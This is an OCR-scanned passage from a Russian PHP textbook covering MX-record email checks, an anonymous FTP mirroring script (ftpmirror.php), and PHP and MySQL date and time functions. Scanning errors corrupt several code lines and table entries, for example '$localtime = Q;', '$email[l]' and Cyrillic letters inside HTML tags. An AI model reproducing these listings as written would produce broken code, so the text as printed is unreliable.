имя хоста, отличное от исходного. В этом случае сайт, видимо, использует службу виртуального хостинга, когда одна физическая машина и один IP-адрес обслуживает несколько имен доменов. Если искомый URL является допустимым, мы переходим к проверке почтового адреса. Вначале он с помощью функции explode () разбивается на имя пользователя и имя хоста: $email = explode(’@’, $email); $emailhost = $email[l]; Имея имя хоста, несложно проверить, можно ли на него отправить почту. Это делается с помощью функции dns get mx (): dns_get__mx ($emailhost, $mxhostsarr) ; Эта функция возвращает для заданного адреса набор MX-записей (Mail Exchange, почтовый обмен) в массиве, заданном переменной $mxhostarr. MX-запись хранится на DNS-серверах, и ее проверка выполняется так же, как про- верка имени хоста. Машина, указанная в MX-записи, не обязательно является той же, куда поступит почта. Однако она знает, куда необходимо перенаправить почту. (Машин может быть несколько, поэтому функция возвращает массив, а не одну стро- ку с именем хоста.) Если в DNS нет MX-записи для данного хоста, значит, почту туда отправить невозможно. Обратите внимание, что функция dns_get_mx() не реализована в Windows- версиях РНР. Если вы работаете под управлением Windows, то должны пользовать- ся пакетом PEAR::Net__DNS, который содержит аналогичные функции (http:// pear.php.net/package/NET_DNS). Если все проверки завершаются успешно, данные можно разместить в базе дан- ных для последующего просмотра кем-либо из сотрудников, обслуживающих справоч- ный сайт. В дополнение к упомянутым функциям можно использовать более общую функ- цию checkdnsrr (), которая для имени хоста возвращает значение true, если это имя присутствует в DNS. Создание резервных и зеркальных копий файлов Протокол FTP (File Transfer Protocol — протокол передачи файлов) применяется для пересылки файлов по сети между хостами. РНР позволяет вызывать fopen () и другие файловые функции для FTP-соединений так же, как и для HTTP-соединений — для установки соединения и передачи файлов на FTP-сервер или обратно. Кроме того, в стандартной установке РНР имеется набор функций специально для работы с FTP. Однако эти функции по умолчанию не инсталлируются. Для того чтобы восполь- зоваться ими под Unix, необходимо запустить конфигурационную РНР-программу configure с опцией --enable-ftp, а затем запустить перекомпиляцию с помощью make. При использовании стандартной установки для Windows FTP-функции инсталли- руются автоматически. Более подробно вопросы конфигурировании РНР рассматриваются в приложе- нии А. Глава 20. Использование функций работы с сетью и протоколами 439
Использование FTP для резервного и зеркального копирования файла FTP-функции удобны для пересылки и копирования файлов с других хостов и на них. Один из распространенных примеров их использования — это создание резерв- ной или зеркальной копии веб-сайта на другом сервере. В листинге 20.4 в качестве примера приведен простой сценарий, использующий FTP-функции для создания зер- кальной копии файла. Листинг 20.4. ftpmirror.php — сценарий для загрузки новых версий файла из FTP-сервера <html> <head> <Ь1Ь1е>0бновление зеркальной Konnn</title> </head> <body> <Ь1>0бновление зеркальной копии</Ь1> <?php // Установка переменных — измените их для своих целей 1 $host = 'ftp.cs.rmit.edu.au'; $user = 'anonymous'; $password = 'me@example.com'; $remotefile = '/pub/tsg/teraterm/ttsshl4.zip'; $localfile = 'tmp/ttsshl4.zip'; / / Подключение к хосту $conn = ftp_connect($host); if (!$conn) { echo 'Ошибка: соединение с FTP-сервером невозможной />'; exit; } echo "Соединение c $host установленосЬг />"; // Регистрация на хосте $result = @ftp_login($conn, $user, $password); if (!$result) { echo "Ошибка: пользователь $user не зарегистрирован<Ьг />"; ftp_quit($conn); exit; } echo "Начало сеанса пользователя $user<br />"; / / Проверка времени модификации файла — следует ли его обновлять echo 'Проверка времени модификации файла...<br />'; if (file_exists($localfile)) { $localtime = filemtime($localfile); echo 'Последняя модификация локального файла: '; echo date('G:i j-M-Y', $localtime); echo ' <br />' ; } else { $localtime = Q; } $remotetime = ftp_mdtm($conn, $remotefile); if (! ($remotetime >= 0) ) { // Это не значит, что файл не существует, // сервер может не поддерживать время модификации 440 Часть IV. Более сложные технологии РНР
echo 'Невозможно получить время модификации удаленного файла.<Ьг />'; $remotetime = $localtime+l; // чтобы обновление выполнилось } else { echo 'Последняя модификация удаленного файла: '; echo date('G:i j-M-Y', $remotetime); echo '<br />'; } if (!($remotetime > $localtime)) { echo 'Локальная копия актуальна.<br />'; exit; } // Загрузка файла echo 'Чтение файла с сервера...<br />'; $fp = fopen ($localfile, 'w'); if (!$success = ftp_fget($conn, $fp, $remotefile, FTP_BINARY)) { echo 'Ошибка: невозможно загрузить файл'; ftp_quit($conn); exit; } fclose($fp); echo 'Файл успешно загружен'; // Закрытие соединения с хостом ftp_quit($conn); </body> </html> Результат конкретного запуска сценария приведен на рис. 20.4. Обновление зеркальной копки - Mozilla Firefox fat File gSt View Higtory gookmarks lools f^elp Обновление зеркальной копии Соединение, с ftp.сs nuitedu.au установлено Начало сеанса пользователя anonymous Последняя модификация локального файла: 21:43 6-Jul-2004 Последняя модификация удаленного файла: 17:41 31-Маг-1999 Локальная копия актуальна. Done Рис. 20.4. Сценарий создания зеркальной копии файла по FTP проверяет, является ли локальная версия файла актуальной, и если нет, загружает новую версию Сценарий ftpmirror .php является достаточно обобщенным. Он начинается с ус- тановки переменных: $host = 'ftp.cs.rmit.edu.au’; $user = 'anonymous’; $password = 'me@example.com'; $remotefile = ’/pub/tsg/teraterm/ttsshl4.zip'; $localfile = '/tmp/writable/ttsshl4.zip'; Глава 20. Использование функций работы с сетью и протоколами 441
Переменная $host должна содержать имя FTP-сервера, с которым будет происхо- дить соединение, а переменные $ use г и $pas sword соответствуют имени пользовате- ля и паролю, необходимым для регистрации на сервере. Многие FTP-сайты поддерживают так называемый анонимный вход (anonymous login), т.е. общедоступное имя, которым может воспользоваться для регистрации лю- бой пользователь. Пароль в этом случае не требуется, но правилом хорошего тона считается ввод в качестве пароля своего почтового адреса, чтобы системные админи- страторы могли знать местоположение своих пользователей. Здесь это соглашение соблюдено. Переменная $ remote file содержит путь загружаемого файла. В данном случае происходит загрузка и создание зеркальной локальной копии программы Тега Term SSH — клиента SSH для Windows. (SSH означает “secure shell” — защищенный команд- ный интерпретатор. Это аналог Telnet, в котором при передаче информации приме- няется шифрование.) Переменная $localfile содержит путь, по которому должен находиться за- гружаемый файл на локальной машине. Для данного примера создан каталог /tmp/writable с правами доступа, достаточными для записи в него файла РНР-сце- нарием. Независимо от используемой операционной системы, этот каталог потребуется явно создать. Если ваша операционная система поддерживает строгие соглашения по правам доступа, вы должны убедиться, что сценарий имеет права записи в этот ката- лог. Чтобы адаптировать сценарий под собственные нужды, необходимо будет соот- ветствующим образом изменить значения этих переменных. Основные шаги в этом сценарии совпадают с действиями, предпринимаемыми при ручной загрузке файла через FTP с использованием интерфейса командной стро- ки, и перечислены ниже. 1. Подключение к удаленному FTP-серверу. 2. Регистрация (под конкретным именем пользователя или анонимно). 3. Проверка, изменен ли удаленный файл. 4. Если да — его загрузка. 5. Закрытие соединения с FTP-сервером. Рассмотрим последовательно каждый шаг. Подключение к удаленному FTP-серверу Этот шаг равносилен вводу команды ftp имя_хоста в командной строке Windows или Unix. В РНР его можно выполнить с помощью следую- щего кода: $сопп = ftp_connect($host); if (!$conn) { echo ’Ошибка: соединение с FTP-сервером невозможно<Ьг />’; exit; } echo "Соединение с $host установлено<Ьг />"; Здесь использована функция ftp connect (). Функция принимает в качестве па- раметра имя хоста и возвращает либо дескриптор соединения, либо значение false, 442 Часть IV. Более сложные технологии РНР
если соединиться не удалось. Вторым, необязательным, параметром функции являет- ся номер порта подключения на хосте. (Здесь он не используется.) Если номер порта не указан, по умолчанию соединение осуществляется через стандартный FTP-порт — порт 21. Регистрация на FTP-сервере Следующий шаг состоит в регистрации на сервере под именем определенного пользователя и указанием его пароля. Он выполняется с помощью вызова функции ftp_login (): $result = @ftp_login($conn, $user, $password); if (!$result) { echo "Ошибка: пользователь $user не зарегистрирован<Ьг />"; ftp_quit($conn) ; exit; } echo "Начало сеанса пользователя $user<br />"; Эта функция принимает три параметра: дескриптор FTP-соединения (возвращае- мый функцией ftp connect ()), имя пользователя и пароль. При успешной регистра- ции пользователя функция возвращает значение true, а иначе — false. В начале пер- вой строки находится символ @, который подавляет вывод сообщений об ошибках. Это делается для подавления предупреждений РНР в окне браузера в случае, если пользователь не сможет зарегистрироваться. Лучше перехватить ошибку, проверив значение переменной $ result, как это сделано в рассматриваемом сценарии, и вы- дать свое, более дружественное сообщение. Обратите внимание, что если попытка регистрации завершилась неудачно, то фак- тически FTP-соединение закрывается функцией f tp quit (), о которой будет рассказа- но ниже. Проверка времени обновления файла Если требуется обновить локальную копию файла, то логично сначала проверить, следует ли обновлять файл, поскольку вовсе нет необходимости заново загружать файл, особенно большой, если он и так актуален. Это позволяет минимизировать се- тевой трафик. Рассмотрим фрагмент кода, который решает эту задачу. Учет времени создания и модификации файлов является той причиной, по ко- торой используются именно FTP-функции, а не более простые файловые функции. С помощью файловых функций можно просто читать, а в ряде случаев и записывать файлы через сетевые интерфейсы, однако большинство функций получения состоя- ния файлов, например, filemtime (), не работают с удаленными файлами. Вначале для определения необходимости загрузки файла с помощью функции file exists () проверяется наличие локальной копии файла. Если копии нет, то ясно, что файл необходимо загрузить. Если же она существует, то при помощи функ- ции filemtime () запрашивается время последней модификации файла, которое присваивается переменной $ local time. Если локальной копии файла нет, перемен- ной $localtime присваивается значение 0, чтобы сделать локальный файл заведомо “старше” любой даты модификации удаленного файла: echo 'Проверка времени модификации файла...<Ьг />’; v if (file_exists($localfile)) { $localtime = filemtime($localfile); echo 'Последняя модификация локального файла: Глава 20. Использование функций работы с сетью и протоколами 443
echo date('G:i j-M-Y', $localtime); echo '<br />'; } else { $localtime = 0; } (О функциях f ile exists () и f ilemtime () можно узнать подробнее в главах 2 и 19.) После выделения времени модификации локального файла необходимо узнать время модификации файла на удаленной машине. Это можно сделать с помощью функции f tp_mdtm (): $remotetime = ftp_mdtm($сопп/ $remotefile); Эта функция принимает два параметра — дескриптор FTP-соединения и путь к уда- ленному файлу — и возвращает либо метку времени последней модификации файла в формате Unix, либо -1, если произошла какая-либо ошибка. Не все FTP-серверы обеспечивают такую возможность, поэтому вызов этой функции не всегда дает тре- буемый результат. В этом случае в переменную $ г emote time искусственно заносится “более новое” время, чем в $localtime, т.е. увеличенное на 1. Это гарантирует, что будет предпринята попытка загрузить файл: if (!($remotetime >= 0)) { // Это не значит, что файл не существует, / / сервер может не поддерживать время модификации echo 'Невозможно получить время модификации удаленного файла.<Ьг />'; $remotetime = $localtime +1; // чтобы обновление выполнилось } else { echo 'Последняя модификация удаленного файла: '; echo date('G:i j-M-Y', $remotetime); echo '<br />'; } Теперь, когда имеются отметки времени модификации двух файлов, их можно сравнить и сделать вывод о необходимости загрузки файла: if (!($remotetime > $localtime)) { echo 'Локальная копия актуальна.<br />'; exit; } Загрузка файла На этом этапе производится попытка загрузить файл из сервера: echo 'Чтение файла с сервера...<br />'; $fp = fopen ($localfile, 'w'); if (!$success = ftp_fget($conn, $fp, $remotefile, FTP_BINARY)) { echo ' Ошибка: файл не может быть загружен' ; ftp_quit($conn); exit; } fclose($fp); echo 'Файл успешно загружен'; Как обычно, локальный файл открывается с помощью функции fopen (). После этого вызывается функция ftpfget (), которая загружает файл и сохраняет его на локальном диске. Эта функция принимает четыре параметра. 444 Часть IV. Более сложные технологии РНР
Назначение первых трех из них очевидно: дескриптор FTP-соединения, дескрип- тор локального файла и путь к удаленному файлу. Четвертый параметр определяет FTP-режим. Пересылка через FTP может осуществляться в двух режимах: ASCII и бинарном. Режим ASCII используется для пересылки текстовых файлов (т.е. файлов, состоящих только из ASCII-символов), а бинарный режим — для пересылки всех остальных фай- лов. В бинарном режиме файл передается без какой-либо модификации, тогда как в режиме ASCII выполняется трансляция символов возврата каретки и перевода стро- ки в соответствующие символы, используемые в вашей системе (\п для Unix, \r\n для Windows и \г для Macintosh). PHP-библиотека для работы с FTP содержит две предопределенных константы — FTP_ASCII и FTP BINARY, соответствующие этим двум режимам. Необходимо выяс- нить, какой режим более соответствует типу файла и передать соответствующую кон- станту в четвертом параметре функции ftp fget (). В данном случае пересылается zip-файл, поэтому используется режим FTP BINARY. Функция ftp_fget () возвращает значение true, если копирование прошло успеш- но, и false, если возникла ошибка. Результат сохраняется в переменной $success; он позволяет сообщить пользователю, как прошла загрузка. После загрузки локальный файл закрывается с помощью функции f close (). Вместо f tp_fget () можно воспользоваться альтернативной функцией — f tp get (), которая имеет следующий прототип: int ftp_get(int ftp__connection, string localfile_path, string remote file_path, int mode) Эта функция работает практически так же, как ftp fget (), но не требует откры- тия локального файла. Ей передается имя локального файла (localfile__path), в ко- торый будет выполняться запись, а не его дескриптор. В РНР не существует эквивалента FTP-команды mget, посредством которой мож- но загрузить сразу несколько файлов. Вместо этого нужно несколько раз вызвать f tp_fget () или f tp_get (). Закрытие соединения По окончании необходимо закрыть FTP-соединение с помощью функции f tp guit (): ftp_quit($conn); Этой функции должен быть передан дескриптор FTP-соединения. Выгрузка файлов на сервер Если же, наоборот, требуется скопировать файлы с локального сервера на удален- ную машину, для этого используются две функции, противоположные f tp_fget () и f tp get (). Они называются f tp fput () и f tp put () и имеют следующие прототипы: int ftp_fput(int ftp_connection, string remote file_path, int fp, int mode) int ftp_put(int ftp^connection, string remotefile_path, string localfile_path, int mode) Их аргументы совпадают с аргументами своих get-эквивалентов. Глава 20. Использование функций работы с сетью и протоколами 445
Как избежать тайм-аутов При передаче файлов через FTP можно столкнуться с проблемой превышения максимального времени выполнения сценария. Если это происходит, РНР выдает сообщение об ошибке. Так часто бывает, если локальный сервер подключен к мед- ленной или перегруженной сети, или когда загружается большой файл, например, видеоклип. Максимальное время выполнения по умолчанию для всех сценариев РНР опре- делено в файле php.ini. По умолчанию оно составляет 30 секунд. Это сделано для автоматического прекращения выполнения сценариев, вышедших из-под контроля. Однако при пересылке файлов через FTP, если у вас медленная связь или очень боль- шой файл, пересылка может занять больше максимально разрешенного времени. К счастью, с помощью функции set time limit () можно изменить максималь- ное. время выполнения конкретного сценария. Вызвав эту функцию, можно устано- вить максимальное время для выполнения сценария (в секундах), начиная с момента вызова функции. Например, вызов set_Jsime_limit (90) ; позволит сценарию выполняться еще 90 секунд с момента вызова функции. Другие функции работы с FTP В РНР существует и множество других полезных функций работы с FTP. Функция f tp size () возвращает размер файла на удаленном сервере и имеет сле- дующий прототип: int ftp_size(int ftp_connection, string remotefile_path) Она возвращает размер удаленного файла в байтах или значение -1 в случае воз- никновения ошибки. Следует отметить, что не все FTP-серверы поддерживают эту функцию. С помощью функции ftpsize () легко оценить максимальное время выполнения пересылки какого-либо файла. Зная размер файла и скорость соединения, можно приблизительно оценить время передачи и соответствующим образом воспользовать- ся функцией set_time_limit (). Список файлов в каталоге на удаленном FTP-сервере можно получить с помощью следующего кода: $listing = ftp_nlist($conn, dirname($remotefile)); foreach ($listing as $filename) echo "$filename <br />"; Здесь для получения списка имен файлов в конкретном каталоге применяется функция f tp_nlist (). В РНР имеются и другие FTP-функции, которые позволяют выполнить практиче- ски все, что можно сделать в командной строке FTP-клиента. FTP-функции, соответ- ствующие командам FTP, можно найти в онлайновом руководстве по РНР, которое доступно по адресу http: //us2 .php. net/manual/en/ref. ftp. php. He имеет аналогов лишь команда mget (множественная загрузка), однако можно воспользоваться функцией ftp_nlist() для получения списка*файлов, а затем по- очередно загрузить их. 446 Часть IV. Более сложные технологии РНР
Дополнительные источники информации В этой главе уделялось много внимания основам, но, как несложно догадаться, ма- териалов, посвященных этим темам, существует гораздо больше. Информацию об .отдельных протоколах и принципах их работы можно найти в документах RFC по адресу http: //www.rfc-editor.org/. Возможно, вам покажется интересной информация о протоколах на сайте консор- циума World Wide Web (World Wide Web Consortium): http://www.w3.org/Protocols/ Хорошим справочным материалом по семейству протоколов TCP/IP может по- служить книга Дуглас Камера Сети TCP/IP, том 1. Принципы, протоколы и структура (ИД “Вильямс”, 2003 г.). Что дальше В главе 21 рассматриваются библиотеки PHP-функций для работы с датами и ка- лендарем. Вы узнаете, как преобразовывать форматы данных, введенных пользовате- лем, в форматы РНР и MySQL и обратно. ‘Глава 20. Использование функций работы с сетью и протоколами 447
21 Работа с датой и временем В этой главе обсуждаются методы проверки и форматирования даты и времени, а также преобразования даты в различные форматы. Последняя возможность особенно важна при преобразовании между форматами MySQL и РНР, Unix и РНР, а также для дат, введенных пользователем в HTML-формах. В главе рассматриваются следующие темы. Получение даты и времени средствами РНР. Преобразования дат между форматами РНР и MySQL. Операции над датами. Использование календарных функций. Получение даты и времени средствами РНР В главе 1 уже использовалась функция date () для получения и форматирования даты и времени в РНР. Ниже мы рассмотрим более подробно эту и другие РНР-функ- ции, предназначенные для работы со значениями даты и времени. Использование функции date () Функция date () принимает два параметра, один из которых является необяза- тельным. Первый параметр задает строку формата, а второй, необязательный — мет- ку времени Unix. Если метка времени не указана, то по умолчанию функция date () обрабатывает текущую дату и время. Она возвращает отформатированную строку, со- держащую дату. Типичный вызов функции выглядит следующим образом: echo date ('j S F Y') ; что в результате дает дату в формате “19th April 2009”. Коды форматирования, воспринимаемые функцией date(), перечислены в табл. 21.1. 448 Часть IV. Более сложные технологии РНР'
Таблица 21.1. Коды форматирования PHP-функции date() Код Описание а Время до или после полудня, представленное двумя строчными буквами: ат или рт. А Время до или после полудня, представленное двумя прописными буквами: am или рм. В Интернет-время Swatch — универсальная временная схема. Более подробно о ней можно узнать на сайте http: / / www. swatch. сот/. с Дата в соответствии со стандартом ISO 8601. Дата представлена в виде ГГГГ-ММ-ДД. Прописная буква т отделяет дату от времени. Время представлено в виде ЧЧ:ММ:СС. Завершает строку часовой пояс, представленный как смещение от среднего времени по Гринвичу (Greenwich mean time — GMT), например, 2009-04-26T21:04:42+2:00. (Этот код формата появился в РНР5.) d День месяца в виде двузначного числа с ведущим нулем. Диапазон значений — от 01 до 31. D День недели в виде английской трехбуквенной аббревиатуры. Диапазон значений — от моп (понедельник) до Sun (воскресенье). е Идентификатор часового пояса (появился в РНР 5.1.0). F Полное английское название месяца. Диапазон значений — от January (январь) ДО December (декабрь). g Часы в 12-часовом формате без ведущих нулей. Диапазон значений — от 1 до 12. G Часы в 24-часовом формате без ведущих нулей. Диапазон значений — от 0 до 23. h Часы в 12-часовом формате с ведущими нулями. Диапазон значений — от 01 до 12. Н Часы в 24-часовом формате с ведущими нулями. Диапазон значений — от 00 до 23. Минуты с ведущими нулями. Диапазон значений — от 00 до 59. I Признак применения летнего времени, представленный логическим значением. Если время летнее, возвращается значение 1, иначе — 0. j День месяца в виде числа без ведущих нулей. Диапазон значений — от 1 до 31. 1 Полное английское название дня недели. Диапазон значений — от Monday (понедель- ник) до Sunday (воскресенье). L Високосный год, представленный логическим значением. Возвращается значение 1, если дата принадлежит високосному году, и 0 — в противном случае. m Номер месяца в двузначном числовом формате с ведущими нулями. Диапазон значений — от 01 до 12. M Месяц в виде английской трехбуквенной аббревиатуры. Диапазон значений — от Jan (январь) до Dec (декабрь). n Номер месяца в виде числа без ведущих нулей. Диапазон значений — от 1 до 12. о Год в формате ISO-8601. Похож на код Y, но если JSO-номер недели (w) принадлежит предыдущему или следующему году, то указывается этот год (появился в РНР 5.1.0). О Разница между текущим часовым поясом и GMT в часах, например, +1600. г Дата и время в формате, заданном в RFC822 — например, Wed, 9 Jun 2005 18:45:30 +1600 (добавлено в РНР 4.0.4). S Секунды с ведущими нулями. Диапазон значений — от 00 до 59. Глава 21. Работа с датой и временем 449
Окончание табл. 21.1 Код Описание s Порядковый двухбуквенный суффикс для дат. Может принимать значение st, nd, rd или th в зависимости от числа, за которым следует. t Полное количество дней в месяце даты. Диапазон значений — от 28 до 31. т Часовой пояс сервера в трехбуквенном формате, например, est. и Число секунд с 1 января 1970 г. до текущего момента; его также называют меткой вре- мени Unix для текущей даты. w Номер дня недели в виде однозначного числа. Диапазон значений — от о (воскресе- нье) до 6 (суббота). w Номер недели в году в формате ISO-8601 (добавлено в РНР 4.1.0). У Год в двузначном формате, например, 09. Y Год в четырехзначном формате, например, 2009. z День года в виде числа. Диапазон значений — от о до 365. z Смещение текущего часового пояса в секундах. Диапазон значений — от-43200 до 43200. Работа с метками времени Unix Второй параметр функции date () является меткой времени Unix. Для тех, кому интересно, что это значит: большинство Unix-подобных систем хранят текущее вре- мя в виде 32-разрядного целого числа секунд, начиная с полуночи 1 января 1970 г. по Гринвичу. Эту дату еще называют началом эпохи Unix. Для непосвященных это выглядит несколько странновато, но таков стандарт, к тому же такие значения легко обрабатываются компьютером. Метки времени Unix — компактный способ хранения даты и времени, и стоит от- метить, что на него совершенно не повлияла проблема 2000 года (Y2K), от которой пострадали другие сокращенные форматы хранения даты. Но для них существует ана- логичная проблема, т.к. 32-битовые целые числа могут вместить лишь ограниченный диапазон времени. Эта проблема проявляется, если программное обеспечение имеет дело с датами до 1902 и после 2038 г. В некоторых системах, в том числе и в Windows, этот диапазон еще более огра- ничен. Метка времени не может быть отрицательной, и это запрещает использовать даты до 1970 г. Следует учитывать этот факт, если для вас важна переносимость ПО. Возможно, если ваше ПО доживет до 2038 г., все будет не так плохо. У меток вре- мени нет фиксированного размера — они привязаны к типу long в языке С, который должен иметь размер не менее 32 битов. И вполне вероятно, что в 2038 г. ваша систе- ма будет использовать целый тип большего размера. Даже если РНР запускается на Windows-сервере, все равно функция date () и мно- гие другие PHP-функции используют именно такой формат хранения даты, приня- тый для Unix. Единственное отличие состоит в том, что в Windows значения метки времени должны быть положительными. Если требуется преобразовать время и дату в формат метки времени Unix, можно воспользоваться функцией mktime (), которая имеет следующий прототип: int mktime ([int hour[, int minute[, int secondl, int month[, int day[, int year [, int is_dst] ]]]]]]) 450 Часть IV. Более сложные технологии РНР
Назначение всех аргументов вполне очевидно, кроме последнего, is_dst, который указывает, действует ли переход на летнее время. Его можно установить равным 1, если переход на летнее время действует, 0, если нет, либо -1 (значение по умолча- нию), если это неизвестно. В случае -1 РНР пытается выяснить ситуацию на основе системы, в которой он работает. Этот аргумент является необязательным и поэтому используется редко. • Основная опасность, которой следует избегать при использовании функции mktime () — не интуитивно понятный порядок следования аргументов. Он не позво- ляет пропустить время. Если время не важно, можно задать часы, минуты и секунды равными 0. Однако можно опустить значения в конце списка параметров. Незаданные величины будут взяты из текущего времени. Следовательно, вызов $timestamp = mktime (); вернет метку времени Unix для текущей даты и времени. Тот же результат можно полу- чить и с помощью такого вызова: $timestamp = time(); Функция time () не принимает параметров и всегда возвращает метку времени Unix для текущей даты и времени. Другой возможностью, как уже было сказано, является применение функции date (). Строка формата "U" запрашивает метку времени. Показанный ниже опера- тор эквивалентен двум предыдущим: $timestamp = date("U"); В функцию mktime () можно передать год как в двух-, так и в четырехзначном формате. Двухзначные значения от 0 до 69 интерпретируются как годы от 2000 до 2069, а 70—99 — как годы от 1970 до 1999. Вот еще примеры использования функции mktime (). $time = mktime(12, 0, 0); дает полдень для текущей даты. $time = mktime (0, 0,0,1,1) ; дает 1 января текущего года. Обратите внимание, что для указания полночи передано значение 0 часов (а не 24). Функцию mktime () можно также применять для простых арифметических вычис- лений над датами. Например: $time = mktime (12,0, 0, $mon, $day+30, $year) ; добавляет 30 дней к дате, указанной переданными в функцию компонентами, несмот- ря на то, что ($day+30) обычно больше количества дней в месяце. Чтобы избежать некоторых проблем, связанных с летним временем, рекоменду- ется использовать вместо 0 часов 12 часов. Если вы добавите (24 * 60 * 60) к полу- ночи в 25-часовом дне, вы останетесь в рамках того же дня. Если вы добавите то же значение к полдню, вы получите 11 утра, но, по крайней мере, будете иметь дело с корректным днем. Использование функции getdate () Другая полезная функция определения даты — функция getdate (). Она имеет сле- дующий прототип: array getdate([int timestamp]) Глава 21. Работа с датой и временем 451
Она принимает в качестве необязательного аргумента метку времени time stamp и возвращает ассоциативный массив, содержащий компоненты этой даты и времени, как показано в табл. 21.2. Располагая всеми компонентами этого массива, вы можете получить из него лю- бой требуемый формат представления. Элемент метки времени (0) может показаться излишним, однако, если вызвать функцию getdate () без параметров, в него будет занесена текущая метка времени. Таблица 21.2. Пары ключ-значение массива, возвращаемого функцией getdate () Ключ Значение seconds Секунды, числовое значение. minutes Минуты, числовое значение. hours Часы, числовое значение. mday День месяца, числовое значение. wday День недели, числовое значение. mon Месяц, числовое значение. year Год, числовое значение. yday День года, числовое значение. weekday День недели, полное английское название. month Месяц, полное английское название. 0 Метка времени, числовое значение. После получения этих компонентов их легко преобразовать в любой нужный фор- мат. На первый взгляд элемент массива 0 (метка времени) бесцолезен, но если вы- звать функцию getdate () без параметров, вы получите верную метку времени. В качестве примера применения getdate () можно привести код <?php $today = getdate(); print_r($today) ; ?> который выводит примерно следующее: Array ( [seconds] =>45 [minutes] => 6 [hours] => 20 [m'day] =>11 [wday] => 3 [mon] => 3 [year] => 2009 [yday] => 72 [weekday] => Wednesday [month] => March [0] => 1173917205 ) 452 Часть IV. Более сложные технологии РНР
Проверка правильности дат с помощью функции checkdate () Для проверки правильности дат можно воспользоваться функцией checkdate (). Это особенно полезно при проверке дат, вводимых пользователем. Функция checkdate () имеет следующий прототип: int checkdate (int month, int day, int year) Она проверяет, является ли год (year) целым числом от 0 до 32767, месяц (month) — целым от 1 до 12, и что указанный день (day) существует в заданном меся- це. Эта функция учитывает и високосные годы. Например: checkdate (2, 29, 2008); вернет значение true, а checkdate(2, 29, 2009); вернет значение false. Форматирование меток времени Метки времени можно форматировать в соответствии с локальными настройками веб-сервера с помощью функции strftime (). Она имеет следующий прототип: string strftime (string $format [, int $timestamp]) Параметр $ format содержит код форматирования, задающий вывод метки време- ни. Параметр $ times tamp — передаваемая функции метка времени. Этот параметр не обязателен: при его отсутствии берется метка времени из локальной системы (т.е. время выполнения сценария). Например, код <?php echo strftime('%A<br />'); echo strftime('%x<br />’); echo strftime('%c<br />'); echo strftime('%Y<br />'); ?> выводит текущее системное время в четырех различных форматах: Wednesday 03/11/09 03/11/09 21:17:24 2009 Полный список кодов форматировании для функции strftime () приведен в табл. 21.3. Учтите, что когда в табл. 21.3 упоминается “стандартный формат”, код формати- рования заменяется значением, соответствующим локальными настройками веб-сер- вера. Функция strftime () очень удобна для вывода даты и времени в различных ви- дах, чтобы страницы имели более дружественный вид. Глава 21. Работа с датой и временем 453
Таблица 21.3. Коды форматирования для функции strftime() Код Описание %а День недели (сокращенно). %А День недели (полностью). %Ь или %h Месяц (сокращенно). %в Месяц (полностью). %с Дата и время в стандартном формате. %с Век. %d Число месяца (от 01 до 31). %D Дата в кратком формате (мм/дд/гг). %е Двухсимвольная строка с числом месяца (от ' 1' до ' 31'): %g Год, соответствующий номеру недели (двузначный). %G Год, соответствующий номеру недели (четырехзначный). %н Часы (от 00 до 23). %I Часы (от 1 до 12). %j Номер дня в году (от 001 до 366). %m Номер месяца (от 01 до 12). %M Минуты (от 00 до 59). %n Символ новой строки (\п). %p ат или рт (либо местный эквивалент). %r Время с обозначениями a.m./p.m. %R Время в 24-часовом формате. %S Секунды (от 00 до 59). %t Символ табуляции (\t). %T Время в формате hh: ss :mm. %u Номер дня недели (от 1 — понедельник до 7 — воскресенье). %u Номер недели в году (когда первое воскресенье года является первым днем первой недели). %v Номер недели в году (когда первая неделя (с номером 1) содержит не менее четырех дней). %w Номер дня недели (от 0 — воскресенье до 6 — суббота). %w Номер недели в году (когда первый понедельник года является первым днем первой недели). %x Дата в стандартном формате (без времени). %X Время в стандартном формате (без даты). %y Год (две цифры). %Y Год (четыре цифры). %Z ИЛИ %Z Часовой пояс. 454 Часть IV. Более сложные технологии РНР
Преобразования дат между форматами РНР и MySQL Дата и время в MySQL поддерживаются в формате ISO 8601. Время отображается привычно, но в датах ISO 8601 требует вначале указания года. Например, дату 29 мар- та 2009 года можно ввести как 2009-03-29 или 09-03-29. Даты, получаемые из MySQL, по умолчанию также представлены в этом формате. В зависимости от потенциальных посетителей, вы можете счесть эту функцию не особо дружественной к ним. Следовательно, взаимодействие РНР и MySQL обычно требует некоторого преобразования дат. Такое преобразование можно выполнить на любой стороне. При пересылке дат из РНР в MySQL их можно легко преобразовать в требуемый формат с помощью функции date (), как было показано ранее. Нужно лишь приме- нять версию числа и месяца с ведущими нулями, во избежание путаницы в MySQL. Можно использовать представление года в виде двух цифр, однако лучше передавать четыре цифры. Если же преобразование необходимо выполнить в MySQL, то для это- го существуют две полезных функции: DATE_FORMAT () и UNIX_TIMESTAMP (). Функция DATE FORMAT () работает аналогично подобной функции в РНР, но ис- пользует другие коды формата. Чаще всего она применяется для вывода даты в фор- мате ММ-ДДТГГГ (месяц/день/год) вместо естественного для MySQL ISO-формата ГГГГ-ММ-ДД (год/месяц/день). Для этого потребуется сформировать следующий запрос: SELECT DATE_FORMAT(date_column, ' %m %d %Y') FROM tablename; Код формата %m задает двузначный формат месяца, %d — двузначный формат дня, %Y — четырехзначный формат года. Наиболее полезные коды формата для преобра- зования даты в MySQL перечислены в табл. 21.4. Таблица 21.4. Коды формата для MySQL-функции DATE_FORMAT () Код Описание %м Месяц, полное английское название. %w День недели, полное английское название. %D День месяца, числовой формат с текстовым суффиксом (например, 1st). %Y Год, четырехзначное число. %у Год, двузначное число. %а День недели, трехсимвольный формат. %d День месяца, число с ведущим нулем. %е День месяца, число без ведущего нуля. %m Месяц, число с ведущим нулем. %с Месяц, число без ведущего нуля. %Ь Месяц, 3-символьное текстовое представление. %j День года, числовое значение. Глава 21. Работа с датой и временем 455
